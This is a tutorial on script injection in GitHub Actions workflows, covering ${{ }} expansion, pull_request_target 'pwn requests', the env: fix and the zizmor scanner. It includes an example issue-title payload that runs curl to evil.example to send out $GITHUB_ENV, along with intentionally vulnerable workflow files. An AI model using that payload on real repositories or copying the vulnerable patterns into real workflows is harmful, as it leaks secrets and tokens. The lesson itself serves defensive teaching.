The bullet point the security module skipped
The Security & Best Practices module told you, in one line, to sanitize untrusted input. It never showed you what that input looks like or how it gets executed. This lesson fills that gap with the vulnerability class that actually shows up in disclosed GitHub Actions incidents: script injection through ${{ }} expansion.
You’ve written workflows like this dozens of times without a second thought:
name: Label Bot
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Greet the issue author
run: echo "Thanks for opening: ${{ github.event.issue.title }}"
This looks like string formatting. It is not. GitHub expands every ${{ }} expression as literal text before the shell sees the script — the runner builds the final shell command by substitution, then hands the whole thing to bash -e. If github.event.issue.title is hi" ; curl -s https://evil.example/$(cat $GITHUB_ENV | base64) ; echo ", the generated script is:
echo "Thanks for opening: hi" ; curl -s https://evil.example/$(cat $GITHUB_ENV | base64) ; echo ""
That’s three shell commands, not one string. The attacker didn’t need write access to your repository — opening an issue was enough. Anyone can open an issue.
Which contexts are hostile by default
Treat every value that an outside contributor can set as attacker-controlled, because it is:
github.event.issue.title/github.event.issue.bodygithub.event.pull_request.title/github.event.pull_request.bodygithub.event.comment.body/github.event.review.bodygithub.head_ref(a PR’s source branch name — yes, branch names are attacker-controlled)github.event.commits[*].message(onpush, from a fork that later opens a PR)- Anything under
github.event.*.label.name,github.event.*.pull_request.head.repo.full_name
None of these are sanitized by GitHub before they reach your workflow. They’re passed through exactly as the user typed them.
Why pull_request_target turns this into a real breach
The pull_request trigger runs with a read-only GITHUB_TOKEN and no access to repository secrets when the PR comes from a fork — GitHub sandboxes it precisely because fork code is untrusted. pull_request_target, by contrast, runs in the context of the base repository, with full write permissions and full access to secrets, even though it’s triggered by the same fork.
Teams reach for pull_request_target to solve a real problem — commenting on PRs from forks, which pull_request can’t do because of that sandboxing — and then, without realizing it, wire an attacker-controlled string into a run: step that now has your deploy secrets in its environment. This combination is called a “pwn request,” and it’s the mechanism behind most of the disclosed GitHub Actions supply-chain compromises:
# VULNERABLE: runs with secrets, on attacker-supplied PR content
on:
pull_request_target:
types: [opened]
jobs:
comment:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- run: |
echo "Reviewing PR: ${{ github.event.pull_request.title }}"
./deploy-preview.sh
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
An attacker opens a PR with a title that breaks out of the echo and exfiltrates DEPLOY_TOKEN before deploy-preview.sh ever runs. It never matters what deploy-preview.sh does — the injection happens one line earlier.
The fix: never let context expressions touch the script body
Route untrusted values through env: instead of interpolating them into run:. Environment variables are passed to the process as data, not spliced into the command text, so shell metacharacters inside them are inert:
# FIXED
- name: Greet the issue author
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "Thanks for opening: $ISSUE_TITLE"
The exact same payload now prints harmlessly as a literal string. This is the whole fix — one line moved from the script into env:. Apply it everywhere a github.event.* or github.head_ref value appears inside a run: block, including inside actions/github-script template strings.
For pull_request_target specifically, add a second layer of defense:
- Don’t check out the PR head unless the job truly needs to build fork code. If you must, check it out into a job that has no
secrets:access, and hand results to a second, privileged job vianeeds:and job outputs — never via a shared filesystem. - Scope
permissions:per job, not just at the workflow level, so the commenting job can’t also push tags or write packages. - Prefer
pull_request+workflow_runfor anything that needs both fork code and secrets: the fork build runs sandboxed, then a separateworkflow_run-triggered job (which always runs in the base repo’s context, never the fork’s) picks up the artifact and does the privileged work.
Catch it before it ships
Don’t rely on remembering this during every review. zizmor is a static analyzer built specifically for GitHub Actions workflows — it flags exactly this pattern (unescaped context expressions in run:) and dangerous pull_request_target usage:
pip install zizmor
zizmor .github/workflows/
Wire it into CI as its own job so a future PR can’t reintroduce the same mistake:
name: Audit Workflows
on:
pull_request:
paths: ['.github/workflows/**']
jobs:
zizmor:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: pipx install zizmor
- run: zizmor --min-severity medium .github/workflows/
Key takeaways
Every ${{ }} expression in a run: step is text substitution, not a bound variable — treat any expression sourced from github.event.* or github.head_ref as untrusted shell input. Route those values through env: so the shell receives them as data instead of code. Be doubly careful with pull_request_target: it hands fork-triggered workflows your secrets and write permissions, so an injection there is a secrets leak, not just a broken build. Run a static scanner like zizmor in CI so this class of bug gets caught in review, not in a postmortem.